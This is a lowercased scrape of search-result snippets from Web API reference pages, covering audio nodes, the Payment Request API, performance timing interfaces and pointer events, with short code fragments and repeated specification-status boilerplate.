ext.isvertexarrayoes(vao); specifications specification status comment oes_vertex_array_objectthe definition of 'oes_vertex_array_object' in that specification.
... recommendation initial definition.
OES_vertex_array_object - Web APIs
specifications specification status comment oes_vertex_array_objectthe definition of 'oes_vertex_array_object' in that specification.
... recommendation initial definition.
OfflineAudioContext.OfflineAudioContext() - Web APIs
the most commonly-used rate is 44100hz, which is the sample rate used by cd audio.
... for a full working example, see our offline-audio-context-promise github repo (see the source code too.) specifications specification status comment web audio apithe definition of 'offlineaudiocontext()' in that specification.
OfflineAudioContext.resume() - Web APIs
the promise resolves immediately because the offlineaudiocontext does not require the audio hardware.
... specifications specification status comment web audio apithe definition of 'resume()' in that specification.
OrientationSensor.populateMatrix() - Web APIs
parameters targetmatrix tbd return value undefined example // tbd specifications specification status comment orientation sensorthe definition of 'populatematrix' in that specification.
... candidate recommendation initial definition.
OrientationSensor.quaternion - Web APIs
example // tbd specifications specification status comment orientation sensorthe definition of 'quaternion' in that specification.
... candidate recommendation initial definition.
OrientationSensor - Web APIs
} else { console.log("no permissions to use absoluteorientationsensor."); } }); specifications specification status comment orientation sensorthe definition of 'orientationsensor' in that specification.
... candidate recommendation initial definition.
OscillatorNode.start() - Web APIs
if a value is not included or is less than currenttime, the oscillator starts playing immediately.
... // create web audio api context var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); // create oscillator node var oscillator = audioctx.createoscillator(); oscillator.type = 'square'; oscillator.frequency.setvalueattime(3000, audioctx.currenttime); // value in hertz oscillator.start(); specifications specification status comment web audio apithe definition of 'start' in that specification.
OscillatorNode.stop() - Web APIs
if the time is equal to or before the current audio context time, the oscillator will stop playing immediately.
... // create web audio api context var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); // create oscillator node var oscillator = audioctx.createoscillator(); oscillator.connect(audioctx.destination); oscillator.start(); oscillator.stop(audioctx.currenttime + 2); // stop 2 seconds after the current time specifications specification status comment web audio apithe definition of 'stop' in that specification.
OscillatorNode.type - Web APIs
there are several common waveforms available, as well as an option to specify a custom waveform shape.
... // create web audio api context var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); // create oscillator node var oscillator = audioctx.createoscillator(); oscillator.type = 'square'; oscillator.frequency.setvalueattime(440, audioctx.currenttime); // value in hertz oscillator.start(); specifications specification status comment web audio apithe definition of 'type' in that specification.
OverconstrainedError.OverconstrainedError() - Web APIs
specifications specification status comment media capture and streamsthe definition of 'overconstrainederror' in that specification.
... candidate recommendation initial definition.
OverconstrainedError.constraint - Web APIs
syntax var constraint = overconstrainederror.constraint; value a string specifications specification status comment media capture and streamsthe definition of 'constraint' in that specification.
... candidate recommendation initial definition.
OverconstrainedError.message - Web APIs
specifications specification status comment media capture and streamsthe definition of 'message' in that specification.
... candidate recommendation initial definition.
OverconstrainedError.name - Web APIs
specifications specification status comment media capture and streamsthe definition of 'name' in that specification.
... candidate recommendation initial definition.
OverconstrainedError - Web APIs
specifications specification status comment media capture and streamsthe definition of 'overconstrainederror' in that specification.
... candidate recommendation initial definition.
PaintWorklet.registerPaint - Web APIs
the paintworklet.registerpaint() method of the paintworklet interface registers a class programmatically generate an image where a css property expects a file.
... li { background-image: paint(checkerboard); } specifications specification status comment css painting api level 1the definition of 'paintworklet.registerpaint' in that specification.
PannerNode.coneInnerAngle - Web APIs
as an effect // (otherwise the sound is located at the same position as the listener) panner.positionz.setvalueattime(1, context.currenttime); having set up the pannernode, we can now schedule some updates to its y-axis rotation: // calculate the vector for no rotation // this means the sound will play at full volume const [x1, y1, z1] = yrotationtovector(0); // schedule the no-rotation vector immediately panner.orientationx.setvalueattime(x1, context.currenttime); panner.orientationy.setvalueattime(y1, context.currenttime); panner.orientationz.setvalueattime(z1, context.currenttime); // calculate the vector for -22.4 degrees // since our coneouterangle is 45, this will just about make the sound audible // if we set it to +/-22.5, the sound volume will be 0, as the threshold is exclusive ...
... osc.connect(panner) .connect(context.destination); osc.start(0); specifications specification status comment web audio apithe definition of 'coneinnerangle' in that specification.
PannerNode.coneOuterAngle - Web APIs
as an effect // (otherwise the sound is located at the same position as the listener) panner.positionz.setvalueattime(1, context.currenttime); having set up the pannernode, we can now schedule some updates to its y-axis rotation: // calculate the vector for no rotation // this means the sound will play at full volume const [x1, y1, z1] = yrotationtovector(0); // schedule the no-rotation vector immediately panner.orientationx.setvalueattime(x1, context.currenttime); panner.orientationy.setvalueattime(y1, context.currenttime); panner.orientationz.setvalueattime(z1, context.currenttime); // calculate the vector for -22.4 degrees // since our coneouterangle is 45, this will just about make the sound audible // if we set it to +/-22.5, the sound volume will be 0, as the threshold is exclusive ...
... osc.connect(panner) .connect(context.destination); osc.start(0); specifications specification status comment web audio apithe definition of 'coneouterangle' in that specification.
PannerNode.coneOuterGain - Web APIs
as an effect // (otherwise the sound is located at the same position as the listener) panner.positionz.setvalueattime(1, context.currenttime); having set up the pannernode, we can now schedule some updates to its y-axis rotation: // calculate the vector for no rotation // this means the sound will play at full volume const [x1, y1, z1] = yrotationtovector(0); // schedule the no-rotation vector immediately panner.orientationx.setvalueattime(x1, context.currenttime); panner.orientationy.setvalueattime(y1, context.currenttime); panner.orientationz.setvalueattime(z1, context.currenttime); // calculate the vector for -22.4 degrees // since our coneouterangle is 45, this will just about make the sound audible // if we set it to +/-22.5, the sound volume will be 0, as the threshold is exclusive ...
... osc.connect(panner) .connect(context.destination); osc.start(0); specifications specification status comment web audio apithe definition of 'coneoutergain' in that specification.
PannerNode.orientationX - Web APIs
as an effect // (otherwise the sound is located at the same position as the listener) panner.positionz.setvalueattime(1, context.currenttime); having set up the pannernode, we can now schedule some updates to its y-axis rotation: // calculate the vector for no rotation // this means the sound will play at full volume const [x1, y1, z1] = yrotationtovector(0); // schedule the no-rotation vector immediately panner.orientationx.setvalueattime(x1, context.currenttime); panner.orientationy.setvalueattime(y1, context.currenttime); panner.orientationz.setvalueattime(z1, context.currenttime); // calculate the vector for -22.4 degrees // since our coneouterangle is 45, this will just about make the sound audible // if we set it to +/-22.5, the sound volume will be 0, as the threshold is exclusive ...
... osc.connect(panner) .connect(context.destination); osc.start(0); specifications specification status comment web audio apithe definition of 'orientationx' in that specification.
PannerNode.orientationY - Web APIs
as an effect // (otherwise the sound is located at the same position as the listener) panner.positionz.setvalueattime(1, context.currenttime); having set up the pannernode, we can now schedule some updates to its y-axis rotation: // calculate the vector for no rotation // this means the sound will play at full volume const [x1, y1, z1] = yrotationtovector(0); // schedule the no-rotation vector immediately panner.orientationx.setvalueattime(x1, context.currenttime); panner.orientationy.setvalueattime(y1, context.currenttime); panner.orientationz.setvalueattime(z1, context.currenttime); // calculate the vector for -22.4 degrees // since our coneouterangle is 45, this will just about make the sound audible // if we set it to +/-22.5, the sound volume will be 0, as the threshold is exclusive ...
... osc.connect(panner) .connect(context.destination); osc.start(0); specifications specification status comment web audio apithe definition of 'orientationy' in that specification.
PannerNode.orientationZ - Web APIs
as an effect // (otherwise the sound is located at the same position as the listener) panner.positionz.setvalueattime(1, context.currenttime); having set up the pannernode, we can now schedule some updates to its y-axis rotation: // calculate the vector for no rotation // this means the sound will play at full volume const [x1, y1, z1] = yrotationtovector(0); // schedule the no-rotation vector immediately panner.orientationx.setvalueattime(x1, context.currenttime); panner.orientationy.setvalueattime(y1, context.currenttime); panner.orientationz.setvalueattime(z1, context.currenttime); // calculate the vector for -22.4 degrees // since our coneouterangle is 45, this will just about make the sound audible // if we set it to +/-22.5, the sound volume will be 0, as the threshold is exclusive ...
... osc.connect(panner) .connect(context.destination); osc.start(0); specifications specification status comment web audio apithe definition of 'orientationz' in that specification.
PannerNode.refDistance - Web APIs
new pannernode(context); panner.refdistance = refdistance; // set the initial z position, then schedule the ramp panner.positionz.setvalueattime(0, starttime); panner.positionz.linearramptovalueattime(z_distance, starttime + note_length); osc.connect(panner) .connect(context.destination); osc.start(starttime); osc.stop(starttime + note_length); }; // this tone should decay immediately and fairly quickly scheduletesttone(1, context.currenttime); // this tone should decay slower and later than the previous one scheduletesttone(4, context.currenttime + note_length); // this tone should decay only slightly, and only start decaying fairly late scheduletesttone(7, context.currenttime + note_length * 2); after running this code, the resulting waveforms should look something ...
...like this: specifications specification status comment web audio apithe definition of 'refdistance' in that specification.
ParentNode.querySelector() - Web APIs
multiple selectors may be specified by separating them using commas.
... specifications specification status comment domthe definition of 'parentnode.queryselector()' in that specification.
ParentNode - Web APIs
the parentnode mixin contains methods and properties that are common to all types of node objects that can have children.
... specification specification status comment domthe definition of 'parentnode' in that specification.
PayerErrors.email - Web APIs
WebAPIPayerErrorsemail
// } specifications specification status comment payment request apithe definition of 'payererrors.email' in that specification.
... candidate recommendation initial definition.
PayerErrors.name - Web APIs
WebAPIPayerErrorsname
// } specifications specification status comment payment request apithe definition of 'payererrors.name' in that specification.
... candidate recommendation initial definition.
PayerErrors.phone - Web APIs
WebAPIPayerErrorsphone
// } specifications specification status comment payment request apithe definition of 'payererrors.phone' in that specification.
... candidate recommendation initial definition.
PayerErrors - Web APIs
example specifications specification status comment payment request apithe definition of 'payererrors' in that specification.
... candidate recommendation initial definition.
PaymentAddress.addressLine - Web APIs
0 metal box factory 1 suite 441, 4th floor 2 30 great guildford street these, combined with additional values for other properties of the paymentaddress, would represent the full address, which is: mozilla metal box factory suite 441, 4th floor 30 great guildford street london se1 0hs united kingdom specifications specification status comment payment request apithe definition of 'paymentaddress.addressline' in that specification.
... candidate recommendation initial definition.
PaymentAddress.city - Web APIs
specifications specification status comment payment request apithe definition of 'paymentaddress.city' in that specification.
... candidate recommendation initial definition.
PaymentAddress.country - Web APIs
specifications specification status comment payment request apithe definition of 'paymentaddress.country' in that specification.
... candidate recommendation initial definition.
PaymentAddress.dependentLocality - Web APIs
specifications specification status comment payment request apithe definition of 'paymentaddress.dependentlocality' in that specification.
... candidate recommendation initial definition.
PaymentAddress.organization - Web APIs
specifications specification status comment payment request apithe definition of 'paymentaddress.organization' in that specification.
... candidate recommendation initial definition.
PaymentAddress.phone - Web APIs
specifications specification status comment payment request apithe definition of 'paymentaddress.phone' in that specification.
... candidate recommendation initial definition.
PaymentAddress.postalCode - Web APIs
specifications specification status comment payment request apithe definition of 'paymentaddress.postalcode' in that specification.
... candidate recommendation initial definition.
PaymentAddress.recipient - Web APIs
specifications specification status comment payment request apithe definition of 'paymentaddress.recipient' in that specification.
... candidate recommendation initial definition.
PaymentAddress.sortingCode - Web APIs
specifications specification status comment payment request apithe definition of 'paymentaddress.sortingcode' in that specification.
... candidate recommendation initial definition.
PaymentAddress - Web APIs
billing address is a paymentaddress object } } specifications specification status comment payment request apithe definition of 'paymentaddress' in that specification.
... candidate recommendation initial definition.
PaymentCurrencyAmount.currency - Web APIs
let itemprice = { currency: "usd", value: "42.95" }; specifications specification status comment payment request apithe definition of 'paymentcurrencyamount.currency' in that specification.
... candidate recommendation ...
PaymentCurrencyAmount - Web APIs
specifications specification status comment payment request apithe definition of 'paymentcurrencyamount' in that specification.
... candidate recommendation initial definition.
PaymentDetailsBase - Web APIs
specifications specification status comment payment request apithe definition of 'paymentdetailsbase' in that specification.
... candidate recommendation initial definition.
PaymentDetailsUpdate.error - Web APIs
specifications specification status comment payment request apithe definition of 'paymentdetailsupdate.error' in that specification.
... candidate recommendation initial definition.
PaymentDetailsUpdate.shippingAddressErrors - Web APIs
specifications specification status comment payment request apithe definition of 'paymentdetailsupdate.shippingaddresserrors' in that specification.
... candidate recommendation initial definition.
PaymentDetailsUpdate - Web APIs
specifications specification status comment payment request apithe definition of 'paymentdetailsupdate' in that specification.
... candidate recommendation initial definition.
PaymentItem - Web APIs
specifications specification status comment payment request apithe definition of 'paymentitem' in that specification.
... candidate recommendation initial definition.
PaymentMethodChangeEvent - Web APIs
specifications specification status comment payment request apithe definition of 'paymentmethodchangeevent()' in that specification.
... candidate recommendation initial definition.
PaymentMethodChangeEvent.methodDetails - Web APIs
specifications specification status comment payment request apithe definition of 'paymentmethodchangeevent.methoddetails' in that specification.
... candidate recommendation initial definition.
PaymentMethodChangeEvent.methodName - Web APIs
ev.updatewith(newstuff); }; const response = await request.show(); specifications specification status comment payment request apithe definition of 'paymentmethodchangeevent.methodname' in that specification.
... candidate recommendation initial definition.
PaymentMethodChangeEvent - Web APIs
specifications specification status comment payment request apithe definition of 'paymentmethodchangeevent' in that specification.
... candidate recommendation initial definition.
PaymentRequest.abort() - Web APIs
options); var paymenttimeout = window.settimeout(() => { window.cleartimeout(paymenttimeout); request.abort().then(() => { print('payment timed out after 20 minutes.'); }).catch(() => { print('unable to abort, because the user is currently in the process ' + 'of paying.'); }); }, 20 * 60 * 1000); /* 20 minutes */ specifications specification status comment payment request apithe definition of 'abort()' in that specification.
... candidate recommendation initial definition.
PaymentRequest.canMakePayment() - Web APIs
let's see if we can use basic card const supportsbasiccard = await new paymentrequest( [{ supportedmethods: "basic-card" }], details ).canmakepayment(); if (supportsbasiccard) { // show basic card support return; } // otherwise, make payments using html form element } specifications specification status comment payment request apithe definition of 'canmakepayment()' in that specification.
... candidate recommendation initial definition.
PaymentRequest.prototype.id - Web APIs
WebAPIPaymentRequestid
specifications specification status comment payment request apithe definition of 'id' in that specification.
... candidate recommendation initial definition.
PaymentRequest: merchantvalidation event - Web APIs
related events payerdetailchange, paymentmethodchange, shippingaddresschange, and shippingoptionchange specifications specification status comment payment request apithe definition of 'merchantvalidation' in that specification.
... candidate recommendation ...
PaymentRequest.onmerchantvalidation - Web APIs
specifications specification status comment payment request apithe definition of 'onmerchantvalidation' in that specification.
... candidate recommendation initial definition.
PaymentRequest.onpaymentmethodchange - Web APIs
ev.updatewith(newstuff); }; const response = await request.show(); specifications specification status comment payment request apithe definition of 'onpaymentmethodchange' in that specification.
... candidate recommendation initial definition.
PaymentRequest.onshippingaddresschange - Web APIs
}).catch(function(err) { console.error("uh oh, something bad happened", err.message); }); specifications specification status comment payment request apithe definition of 'onshippingaddresschange' in that specification.
... candidate recommendation initial definition.
PaymentRequest.onshippingoptionchange - Web APIs
etails.error); } // hardcode for simplicity if (details.displayitems.length === 2) { details.displayitems[2] = shippingoption; } else { details.displayitems.push(shippingoption); } details.shippingoptions = [shippingoption]; return promise.resolve(details); })(details, request.shippingaddress)); }); specifications specification status comment payment request apithe definition of 'onshippingoptionchange' in that specification.
... candidate recommendation initial definition.
PaymentRequest: paymentmethodchange event - Web APIs
related events merchantvalidation, shippingaddresschange, shippingoptionchange, and payerdetailchange specifications specification status comment payment request apithe definition of 'paymentmethodchange' in that specification.
... candidate recommendation ...
PaymentRequest.shippingAddress - Web APIs
option.id = 'us'; shippingoption.label = 'standard shipping in us'; shippingoption.amount.value = '5.00'; details.total.amount.value = '60.00'; } details.displayitems.splice(2, 1, shippingoption); details.shippingoptions = [shippingoption]; } else { delete details.shippingoptions; } resolve(details); } specifications specification status comment payment request apithe definition of 'shippingaddress' in that specification.
... candidate recommendation initial definition.
PaymentRequest.shippingOption - Web APIs
we can't ship to your address.` }; } } specifications specification status comment payment request apithe definition of 'shippingoption' in that specification.
... candidate recommendation initial definition.
PaymentRequest.shippingType - Web APIs
specifications specification status comment payment request apithe definition of 'shippingtype' in that specification.
... candidate recommendation initial definition.
PaymentRequest: shippingaddresschange event - Web APIs
return detailsupdate; }; you can also establish a handler for shippingaddresschange using the onshippingaddresschange event handler property: paymentrequest.onshippingaddresschange = event => { let detailsupdate = checkaddress(paymentrequest.shippingaddress); event.updatewith(detailsupdate); }; specifications specification status comment payment request apithe definition of 'shippingaddresschange' in that specification.
... candidate recommendation initial definition.
PaymentRequest: shippingoptionchange event - Web APIs
an event handler for shippingoptionchange using its corresponding event handler property, onshippingoptionchange: paymentrequest.onshippingoptionchange = event => { const value = calculatenewtotal(paymentrequest.shippingoption); const total = { currency: "eur", label: "total due", value, }; event.updatewith({ total }); }; specifications specification status comment payment request apithe definition of 'shippingoptionchange' in that specification.
... candidate recommendation initial definition.
PaymentRequest - Web APIs
specifications specification status comment payment request apithe definition of 'paymentrequest' in that specification.
... candidate recommendation initial definition.
PaymentRequestUpdateEvent.PaymentRequestUpdateEvent() - Web APIs
specifications specification status comment payment request apithe definition of 'paymentrequestupdateevent()' in that specification.
... candidate recommendation initial definition.
PaymentRequestUpdateEvent.updateWith() - Web APIs
specifications specification status comment payment request apithe definition of 'paymentrequestupdateevent.updatewith()' in that specification.
... candidate recommendation initial definition.
PaymentRequestUpdateEvent - Web APIs
specifications specification status comment payment request apithe definition of 'paymentrequestupdateevent' in that specification.
... candidate recommendation initial definition.
PaymentResponse.complete() - Web APIs
aymentrequest, fetchoptions).then( response => { if (response.status < 400) { paymentresponse.complete("success"); } else { paymentresponse.complete("fail"); }; }).catch( reason => { paymentresponse.complete("fail"); }); }).catch(function(err) { console.error("uh oh, something bad happened", err.message); }); specifications specification status comment payment request apithe definition of 'paymentresponse: complete' in that specification.
... candidate recommendation initial definition.
PaymentResponse.onpayerdetailchange - Web APIs
ors).length) { await response.retry(errors); } else { // we have a good payment; send the data to the server await fetch("/pay-for-things/", { method: "post", body: response.json() }); response.complete("success"); } }; await response.retry({ payer: { email: "invalid domain.", phone: "invalid number.", }, }); specifications specification status comment payment request apithe definition of 'onpayerdetailchange' in that specification.
... candidate recommendation initial definition.
PaymentRequest.payerName - Web APIs
specifications specification status comment payment request apithe definition of 'payername' in that specification.
... candidate recommendation initial definition.
PaymentResponse: payerdetailchange event - Web APIs
} specifications specification status comment payment request apithe definition of 'payerdetailchange event' in that specification.
... candidate recommendation ...
PaymentResponse.requestId - Web APIs
specifications specification status comment payment request apithe definition of 'requestid' in that specification.
... candidate recommendation initial definition.
PaymentResponse.retry() - Web APIs
event.removeeventlistener(event, listener); resolve(); } }); }); } dopaymentrequest(); specifications specification status comment payment request apithe definition of 'retry()' in that specification.
... candidate recommendation initial definition.
PaymentResponse - Web APIs
specifications specification status comment payment request apithe definition of 'paymentresponse' in that specification.
... candidate recommendation initial definition.
Payment Request API - Web APIs
specifications specification status comment payment request api candidate recommendation initial definition.
... basic card payment working draft defines basiccardrequest and basiccardresponse, among other things needed for handling credit card payment payment method identifiers candidate recommendation defines payment method identifiers and how they are validated, and, where applicable, minted and formally registered with the w3c.
Pbkdf2Params - Web APIs
specifications specification status comment web cryptography apithe definition of 'subtlecrypto.pbkdf2params' in that specification.
... recommendation ...
performance.clearMarks() - Web APIs
performance.clearmarks(); logmarkcount() // "found this many entries: 0" specifications specification status comment user timing level 2the definition of 'clearmarks()' in that specification.
... recommendation basic definition.
performance.clearMeasures() - Web APIs
performance.clearmeasures(); logmeasurecount() // "found this many entries: 0" specifications specification status comment user timing level 2the definition of 'clearmeasures()' in that specification.
... recommendation basic definition.
performance.clearResourceTimings() - Web APIs
performance data buffer not cleared!"); } specifications specification status comment resource timing level 1the definition of 'clearresourcetimings()' in that specification.
... candidate recommendation initial definition.
performance.mark() - Web APIs
WebAPIPerformancemark
performance.clearmarks(); specifications specification status comment user timing level 2the definition of 'mark()' in that specification.
... recommendation basic definition.
performance.measure() - Web APIs
performance.clearmarks(); performance.clearmeasures(); }, 1000); }, 1000); specifications specification status comment user timing level 2the definition of 'measure()' in that specification.
... recommendation basic definition.
Performance.navigation - Web APIs
syntax navobject = performance.navigation; specifications specification status comment navigation timingthe definition of 'performance.navigation' in that specification.
... recommendation initial definition.
Performance.onresourcetimingbufferfull - Web APIs
function buffer_full(event) { console.log("warning: resource timing buffer is full!"); performance.setresourcetimingbuffersize(200); } function init() { // set a callback if the resource buffer becomes filled performance.onresourcetimingbufferfull = buffer_full; } <body onload="init()"> specifications specification status comment resource timing level 1the definition of 'onresourcetimingbufferfull' in that specification.
... candidate recommendation initial definition.
Performance: resourcetimingbufferfull event - Web APIs
sourcetimingbuffersize(200); } function init() { // set a callback if the resource buffer becomes filled performance.onresourcetimingbufferfull = buffer_full; } <body onload="init()"> note that you could also set up the handler using the addeventlistener() function: performance.addeventlistener('resourcetimingbufferfull', buffer_full); specifications specification status comment resource timing level 1the definition of 'onresourcetimingbufferfull' in that specification.
... candidate recommendation initial definition.
performance.toJSON() - Web APIs
example var js; js = window.performance.tojson(); console.log("json = " + json.stringify(js)); specifications specification status comment high resolution time level 2the definition of 'tojson() serializer' in that specification.
... recommendation defines tojson().
PerformanceEntry.toJSON() - Web APIs
= not supported"); } for (var i=0; i < methods.length; i++) { // check each method var supported = typeof obj[methods[i]] == "function"; if (supported) { var js = obj[methods[i]](); log("..." + methods[i] + "() = " + json.stringify(js)); } else { log("..." + methods[i] + " = not supported"); } } } specifications specification status comment performance timeline level 2the definition of 'tojson' in that specification.
... candidate recommendation initial definition of tojson() method.
PerformanceMark - Web APIs
specifications specification status comment user timing level 2the definition of 'performancemark' in that specification.
... recommendation basic definition.
PerformanceMeasure - Web APIs
specifications specification status comment user timing level 2the definition of 'performancemeasure' in that specification.
... recommendation basic definition.
PerformanceNavigation.redirectCount - Web APIs
syntax amount = performancenavigation.redirectcount; specifications specification status comment navigation timingthe definition of 'performancenavigation.redirectcount' in that specification.
... recommendation initial definition.
PerformanceNavigation.type - Web APIs
syntax type = performancenavigation.type; specifications specification status comment navigation timingthe definition of 'performancenavigation.type' in that specification.
... recommendation initial definition.
PerformanceNavigation - Web APIs
specifications specification status comment navigation timingthe definition of 'performancenavigation' in that specification.
... recommendation initial definition.
PerformanceObserver() - Web APIs
= list.getentries(); for (var i=0; i < entries.length; i++) { // process "mark" and "frame" events } }); observer.observe({entrytypes: ["mark", "frame"]}); function perf_observer(list, observer) { // process the "measure" event } var observer2 = new performanceobserver(perf_observer); observer2.observe({entrytypes: ["measure"]}); specifications specification status comment performance timeline level 2the definition of 'performanceobserver()' in that specification.
... candidate recommendation initial definition of performanceobserver() constructor.
PeformanceObserver.disconnect() - Web APIs
// disable additional performance events observer.disconnect(); } var observer2 = new performanceobserver(perf_observer); observer2.observe({entrytypes: ["measure"]}); specifications specification status comment performance timeline level 2the definition of 'disconnect()' in that specification.
... candidate recommendation initial definition of disconnect() method.
PerformanceObserver.observe() - Web APIs
= list.getentries(); for (var i=0; i < entries.length; i++) { // process "mark" and "frame" events } }); observer.observe({entrytypes: ["mark", "frame"]}); function perf_observer(list, observer) { // process the "measure" event } var observer2 = new performanceobserver(perf_observer); observer2.observe({entrytypes: ["measure"]}); specifications specification status comment performance timeline level 2the definition of 'observe()' in that specification.
... candidate recommendation initial definition of observe() method.
PerformanceObserver.takeRecords() - Web APIs
server(function(list, obj) { var entries = list.getentries(); for (var i=0; i < entries.length; i++) { // process "mark" and "frame" events } }); observer.observe({entrytypes: ["mark", "frame"]}); var records = observer.takerecords(); console.log(records[0].name); console.log(records[0].starttime); console.log(records[0].duration); specifications specification status comment performance timeline level 2the definition of 'takerecords()' in that specification.
... candidate recommendation initial definition of takerecords() method.
PerformanceObserver - Web APIs
example function perf_observer(list, observer) { // process the "measure" event } var observer2 = new performanceobserver(perf_observer); observer2.observe({entrytypes: ["measure"]}); specifications specification status comment performance timeline level 2the definition of 'performanceobserver' in that specification.
... candidate recommendation initial definition of performanceobserver interface.
PerformanceObserverEntryList.getEntries() - Web APIs
'resource', 'server']}); var observe_frame = new performanceobserver(function(list, obs) { var perfentries = list.getentries(); // should only have 'frame' entries for (var i=0; i < perfentries.length; i++) { print_perf_entry(perfentries[i]); } }); // subscribe to frame event only observe_frame.observe({entrytypes: ['frame']}); specifications specification status comment performance timeline level 2the definition of 'getentries()' in that specification.
... candidate recommendation initial definition.
PerformanceObserverEntryList.getEntriesByName() - Web APIs
urce', 'server']}); var observe_frame = new performanceobserver(function(list, obs) { var perfentries = list.getentries(); // should only have 'frame' entries for (var i=0; i < perfentries.length; i++) { print_perf_entry(perfentries[i]); } }); // subscribe to only the 'frame' event observe_frame.observe({entrytypes: ['frame']}); specifications specification status comment performance timeline level 2the definition of 'getentriesbyname()' in that specification.
... candidate recommendation initial definition of getentriesbyname() method.
PerformanceObserverEntryList.getEntriesByType() - Web APIs
urce', 'server']}); var observe_frame = new performanceobserver(function(list, obs) { var perfentries = list.getentries(); // should only have 'frame' entries for (var i=0; i < perfentries.length; i++) { print_perf_entry(perfentries[i]); } }); // subscribe to only the 'frame' event observe_frame.observe({entrytypes: ['frame']}); specifications specification status comment performance timeline level 2the definition of 'getentriesbytype()' in that specification.
... candidate recommendation initial definition of getentriesbytype() method.
PerformanceObserverEntryList - Web APIs
example // create observer for all performance event types // list is of type performanceobserveentrylist var observe_all = new performanceobserver(function(list, obs) { var perfentries = list.getentries(); for (var i = 0; i < perfentries.length; i++) { print_perf_entry(perfentries[i]); // do something with it } }) specifications specification status comment performance timeline level 2the definition of 'performanceobserverentrylist' in that specification.
... candidate recommendation initial definition.
PerformanceResourceTiming.initiatorType - Web APIs
initiatortype = not supported"); } specifications specification status comment resource timing level 1the definition of 'initiatortype' in that specification.
... candidate recommendation initial definition.
PerformanceResourceTiming.redirectStart - Web APIs
" + properties[i] + " = not supported"); } } } specifications specification status comment resource timing level 1the definition of 'redirectstart' in that specification.
... candidate recommendation initial definition.
PerformanceResourceTiming.workerStart - Web APIs
the workerstart read-only property of the performanceresourcetiming interface returns a domhighrestimestamp immediately before dispatching the fetchevent if a service worker thread is already running, or immediately before starting the service worker thread if it is not already running.
..." + properties[i] + " = not supported"); } } } specifications specification status comment resource timing level 2the definition of 'workerstart' in that specification.
PerformanceTiming.connectEnd - Web APIs
syntax time = performancetiming.connectend; specifications specification status comment navigation timingthe definition of 'performancetiming.connectend' in that specification.
... recommendation initial definition.
PerformanceTiming.connectStart - Web APIs
syntax time = performancetiming.connectstart; specifications specification status comment navigation timingthe definition of 'performancetiming.connectstart' in that specification.
... recommendation initial definition.
PerformanceTiming.domComplete - Web APIs
syntax time = performancetiming.domcomplete; specifications specification status comment navigation timingthe definition of 'performancetiming.domcomplete' in that specification.
... recommendation initial definition.
PerformanceTiming.domContentLoadedEventEnd - Web APIs
syntax time = performancetiming.domcontentloadedeventend; specifications specification status comment navigation timingthe definition of 'performancetiming.domcontentloadedeventend' in that specification.
... recommendation initial definition.
PerformanceTiming.domContentLoadedEventStart - Web APIs
syntax time = performancetiming.domcontentloadedeventstart; specifications specification status comment navigation timingthe definition of 'performancetiming.domcontentloadedeventstart' in that specification.
... recommendation initial definition.
PerformanceTiming.domInteractive - Web APIs
syntax time = performancetiming.dominteractive; specifications specification status comment navigation timingthe definition of 'performancetiming.dominteractive' in that specification.
... recommendation initial definition.
PerformanceTiming.domLoading - Web APIs
syntax time = performancetiming.domloading; specifications specification status comment navigation timingthe definition of 'performancetiming.domloading' in that specification.
... recommendation initial definition.
PerformanceTiming.domainLookupEnd - Web APIs
syntax time = performancetiming.domainlookupend; specifications specification status comment navigation timingthe definition of 'performancetiming.domainlookupend' in that specification.
... recommendation initial definition.
PerformanceTiming.domainLookupStart - Web APIs
syntax time = performancetiming.domainlookupstart; specifications specification status comment navigation timingthe definition of 'performancetiming.domainlookupstart' in that specification.
... recommendation initial definition.
PerformanceTiming.fetchStart - Web APIs
syntax time = performance.timing.fetchstart; specifications specification status comment navigation timingthe definition of 'performancetiming.fetchstart' in that specification.
... recommendation initial definition.
PerformanceTiming.loadEventEnd - Web APIs
syntax time = performancetiming.loadeventend; specifications specification status comment navigation timingthe definition of 'performancetiming.loadeventend' in that specification.
... recommendation initial definition.
PerformanceTiming.loadEventStart - Web APIs
syntax time = performancetiming.loadeventstart; specifications specification status comment navigation timingthe definition of 'performancetiming.loadeventstart' in that specification.
... recommendation initial definition.
PerformanceTiming.navigationStart - Web APIs
syntax time = performancetiming.navigationstart; specifications specification status comment navigation timingthe definition of 'performancetiming.navigationstart' in that specification.
... recommendation initial definition.
PerformanceTiming.redirectEnd - Web APIs
syntax time = performancetiming.redirectend; specifications specification status comment navigation timingthe definition of 'performancetiming.redirectend' in that specification.
... recommendation initial definition.
PerformanceTiming.redirectStart - Web APIs
syntax time = performancetiming.redirectstart; specifications specification status comment navigation timingthe definition of 'performancetiming.redirectstart' in that specification.
... recommendation initial definition.
PerformanceTiming.requestStart - Web APIs
syntax time = performancetiming.requeststart; specifications specification status comment navigation timingthe definition of 'performancetiming.requeststart' in that specification.
... recommendation initial definition.
PerformanceTiming.responseEnd - Web APIs
syntax time = performancetiming.responseend; specifications specification status comment navigation timingthe definition of 'performancetiming.responseend' in that specification.
... recommendation initial definition.
PerformanceTiming.responseStart - Web APIs
syntax time = performancetiming.responsestart; specifications specification status comment navigation timingthe definition of 'performancetiming.responsestart' in that specification.
... recommendation initial definition.
PerformanceTiming.secureConnectionStart - Web APIs
syntax time = performancetiming.secureconnectionstart; specifications specification status comment navigation timingthe definition of 'performancetiming.secureconnectionstart' in that specification.
... recommendation initial definition.
PerformanceTiming.unloadEventEnd - Web APIs
syntax time = performancetiming.unloadeventend; specifications specification status comment navigation timingthe definition of 'performancetiming.unloadeventend' in that specification.
... recommendation initial definition.
PerformanceTiming.unloadEventStart - Web APIs
syntax time = performancetiming.unloadeventstart; specifications specification status comment navigation timingthe definition of 'performancetiming.unloadeventstart' in that specification.
... recommendation initial definition.
PerformanceTiming - Web APIs
specifications specification status comment navigation timingthe definition of 'performancetiming' in that specification.
... recommendation initial definition.
Permissions.query() - Web APIs
WebAPIPermissionsquery
}) parameters permissiondescriptor an object that sets options for the query operation consisting of a comma-separated list of name-value pairs.
...}); specification specification status comment permissionsthe definition of 'query()' in that specification.
Permissions API - Web APIs
the permissions api provides a consistent programmatic way to query the status of api permissions attributed to the current context.
... specification specification status comment permissions working draft initial definition.
PointerEvent.height - Web APIs
specifications specification status comment pointer events – level 2the definition of 'height' in that specification.
... recommendation non-stable version.
PointerEvent.isPrimary - Web APIs
target.addeventlistener('pointerdown', function(event) { if (event.isprimary) process_primary_pointer(event); else process_secondary_pointer(event); }, false); specifications specification status comment pointer events – level 2the definition of 'isprimary' in that specification.
